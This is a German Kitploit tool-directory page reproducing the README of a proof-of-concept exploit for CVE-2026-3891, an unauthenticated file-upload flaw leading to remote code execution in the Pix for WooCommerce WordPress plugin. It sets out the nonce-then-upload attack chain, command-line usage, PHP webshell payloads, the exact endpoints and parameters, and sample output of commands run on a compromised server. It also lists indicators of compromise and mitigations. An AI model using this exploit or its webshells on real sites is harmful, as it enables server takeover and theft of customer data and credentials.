Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3891 — PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution. | Kitploit
Tools/GitHubGitHub/ch4120n/cve-2026-3891
ExploitationWeb Application ExploitationPenetration Testing
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.

Repository anzeigen
2vor 16 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🚀 CVE-2026-3891 – Nicht authentifizierter Datei-Upload-RCE in Pix for WooCommerce

Python Exploit CVE

GitHub stars GitHub issues License

Proof-of-Concept-Exploit für CVE-2026-3891 – nicht authentifizierter Upload beliebiger Dateien, der zu Remote-Codeausführung im WordPress-Plugin Pix for WooCommerce (≤ 1.5.0) führt.


📖 Überblick

CVE-2026-3891 ist eine kritische Schwachstelle im Pix for WooCommerce-Plugin, die alle Versionen bis einschließlich 1.5.0 betrifft. Das Plugin erzwingt in seinem AJAX-Handler lkn_pix_for_woocommerce_c6_save_settings keine ordnungsgemäße Autorisierung und keine Dateitypprüfungen. Ein nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebige PHP-Dateien in ein öffentlich zugängliches Verzeichnis hochzuladen und Remote-Codeausführung auf dem zugrunde liegenden WordPress-Server zu erreichen.

Dieses Repository enthält einen produktionsreifen PoC, der die gesamte Angriffskette automatisiert – vom Abrufen eines gültigen Nonce bis zum Hochladen einer Webshell – mit robuster Fehlerbehandlung und einer ansprechenden CLI-Oberfläche.

🔍 Wichtige Funktionen

  • Wirklich nicht authentifiziert – keine WordPress-Anmeldedaten oder Sitzungscookies erforderlich.
  • Automatische Nonce-Extraktion – der Exploit ruft den erforderlichen Sicherheits-Nonce über dieselbe öffentliche AJAX-Schnittstelle ab.
  • Multipart-Datei-Upload – erstellt den vom verwundbaren Handler erwarteten Dateiparameter certificate_crt_path korrekt.
  • Direkte URL-Erzeugung – liefert sofort die öffentliche URL der hochgeladenen Nutzlast.
  • Post-Exploitation-Prüfungen – optionale Verifizierung des Upload-Erfolgs und sofortige Befehlsausführung (--check).
  • Erweiterte Fehlerbehandlung – behandelt Cloudflare, WAFs, Timeouts und fehlerhafte Antworten elegant.
  • Saubere, informative Ausgabe – alle Meldungen sind für sofortige Lesbarkeit mit [ * ], [ + ], [ - ], [ ! ] gekennzeichnet.

🧬 Details zur Schwachstelle

Die Grundursache liegt in zwei AJAX-Aktionen, die vom Plugin registriert werden:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Diese Aktion ist an wp_ajax_nopriv_* gebunden und dadurch für nicht authentifizierte Besucher zugänglich. Sie erzeugt einen Nonce für die Aktion lkn_pix_for_woocommerce_c6_settings_nonce und gibt ihn in einem JSON-Envelope zurück:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

Es wird keine Berechtigungsprüfung oder Benutzerauthentifizierung durchgeführt – jeder kann einen gültigen Nonce anfordern.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Dieser Handler speichert Plugin-Einstellungen, einschließlich eines Datei-Upload-Felds namens certificate_crt_path. Obwohl der Upload über den Helper media_handle_upload von WordPress erfolgt, versäumt es das Plugin:

  • zu prüfen, ob die Anfrage von einem authentifizierten, autorisierten Benutzer stammt (fehlendes current_user_can).
  • Beschränkungen für Dateityp oder -erweiterung durchzusetzen (z. B. werden .php-Dateien erlaubt).
  • die Datei an einem nicht ausführbaren Ort zu speichern – sie landet stattdessen in:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    was direkt über das Web erreichbar ist.

Da der Nonce nur vor CSRF schützt und von jedem abgerufen werden kann, kann ein Angreifer diese beiden Aktionen verketten, um beliebigen PHP-Code hochzuladen und auszuführen.

Betroffene Versionen

  • Pix for WooCommerce-Versionen ≤ 1.5.0
  • Die Schwachstelle wurde auf sauberen WordPress-Installationen mit Standardkonfigurationen bestätigt.

Auswirkungen

  • Remote-Codeausführung – voller Webshell-Zugriff mit den Rechten des Webservers (normalerweise www-data oder apache).
  • Datendiebstahl – Lesen von wp-config.php, Datenbank-Zugangsdaten und Kundendaten.
  • Persistenz – Ändern von Core-Dateien, Einpflanzen von Hintertüren.
  • Komplette Site-Übernahme – Eskalation zum WordPress-Administrator, wenn die Datenbank zugänglich ist.

🛠️ Voraussetzungen für die Ausnutzung

  • Netzwerkzugriff auf die Ziel-WordPress-Site (keine Authentifizierung erforderlich).
  • Python 3.8+ mit der requests-Bibliothek (Installation über pip install requests).
  • Das Ziel muss das verwundbare Plugin installiert und aktiv haben (Standardkonfiguration ist ausreichend).

🚀 Verwendung

Installation

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Basiskommando

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

Für mehr Kontrolle können Befehlszeilenoptionen verwendet werden:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Beispielausgabe

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Befehlszeilenoptionen


🧪 Technische Details für Erkennung und Feinabstimmung

Nonce-Erzeugungs-Endpoint

  • URL: http://target/wp-admin/admin-ajax.php
  • Aktion: lkn_pix_for_woocommerce_generate_nonce
  • Parameter: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Antwort: {"success":true,"data":{"nonce":"..."}}
  • Hinweis: Der Nonce ist immer abrufbar, da die Aktion mit wp_ajax_nopriv_* registriert ist. Es sind weder Cookie noch Sitzung erforderlich.

Datei-Upload-Parameter

  • URL: Dieselbe admin-ajax.php
  • Aktion: lkn_pix_for_woocommerce_c6_save_settings
  • Erforderliche Felder:
    • _ajax_nonce – der zuvor abgerufene Nonce
    • certificate_crt_path – ein Multipart-Datei-Upload (die Nutzlast)
  • Dateityp: Das Plugin validiert die Erweiterung nicht, daher werden .php-Dateien akzeptiert und ohne Umbenennung gespeichert.

Öffentlicher Speicherpfad

Nach erfolgreichem Upload befindet sich die Datei in:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<dateiname>

Dieses Verzeichnis ist direkt über das Web erreichbar; PHP-Dateien werden ausgeführt, wenn der Webserver so konfiguriert ist, dass er sie verarbeitet (was bei WordPress-verwalteten Servern der Standard ist).

Kompromittierungsindikatoren (IoCs)

  • Unerwartete PHP-Dateien im Verzeichnis certs_c6 (insbesondere Dateien wie woocommerce.php, shell.php usw.).
  • Ungewöhnliche POST-Anfragen an admin-ajax.php mit den oben genannten Aktionen, die von nicht vertrauenswürdigen IPs stammen.
  • Zugriffsprotokolle, die direkte Treffer auf .../certs_c6/ mit Abfrageparametern wie ?cmd=id zeigen.

🛡️ Erkennung & Eindämmung

Erkennung

Überwachen Sie Ihre WordPress-Protokolle auf:

  • Wiederholte POST-Anfragen an /wp-admin/admin-ajax.php mit action=lkn_pix_for_woocommerce_generate_nonce und action=lkn_pix_for_woocommerce_c6_save_settings.
  • Die Erstellung neuer Dateien im Ordner certs_c6. Verwenden Sie ein Dateiintegritätsüberwachungstool (z. B. Tripwire, OSSEC), um über Änderungen zu warnen.
  • Webserver-Protokolle, die die Ausführung von PHP-Dateien in diesem Verzeichnis von externen IPs zeigen.

Eindämmung

  1. Plugin aktualisieren – prüfen Sie, ob eine Version >1.5.0 mit dem offiziellen Fix verfügbar ist (falls veröffentlicht).
  2. Virtuellen Patch anwenden – blockieren Sie den Zugriff auf die verwundbaren AJAX-Aktionen mit einer WAF-Regel (z. B. ModSecurity, Cloudflare WAF).
  3. Dateiausführung einschränken – falls das Plugin benötigt wird, konfigurieren Sie Ihren Webserver so, dass die PHP-Ausführung im Verzeichnis certs_c6 verweigert wird (z. B. mit .htaccess und php_flag engine off).
  4. AJAX-Handler härten – falls Sie das Plugin warten, stellen Sie sicher, dass beide Aktionen nur für authentifizierte und autorisierte Benutzer zugänglich sind (current_user_can('manage_options') für die Nonce-Erzeugung sowie eine ordnungsgemäße Nonce-Verifizierung und Berechtigungsprüfung für den Upload).
  5. Plugin deaktivieren – falls Pix for WooCommerce nicht wesentlich ist, entfernen Sie es vollständig.

👏 Danksagungen

  • Exploit-Entwicklung & PoC: Ch4120N
  • Schwachstellenanalyse: Unabhängige Sicherheitsforschung

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Haftungsausschluss: Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.


📚 Referenzen

  • NIST NVD – CVE-2026-3891
  • WordPress-Plugin-Repository – Pix for WooCommerce (Changelog auf behobene Versionen prüfen)
  • Patchstack / WPScan-Schwachstellendatenbank (falls ein Eintrag existiert)

⭐ Unterstützung

Wenn Sie diesen PoC nützlich finden, erwägen Sie, ihm auf GitHub einen ⭐ zu geben und ihn verantwortungsvoll zu teilen. Beiträge, Issues und Pull Requests sind willkommen!


Viel Spaß beim Hacking! 🛡️

Tool herunterladen
FlagBeschreibungStandard
target (positional)Basis-URL der WordPress-Site.Erforderlich
-f, --filenameName der hochgeladenen PHP-Datei.woocommerce.php
-p, --payloadHochzuladender PHP-Code.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutAnfrage-Timeout in Sekunden.15
-r, --retriesMaximale Wiederholungsversuche für den Nonce-Abruf.2
--no-bannerASCII-Art unterdrücken.(aus)
--no-verifyZugänglichkeitsprüfung nach dem Upload überspringen.(aus)
--checkid nach dem Upload auf der Webshell ausführen.(aus)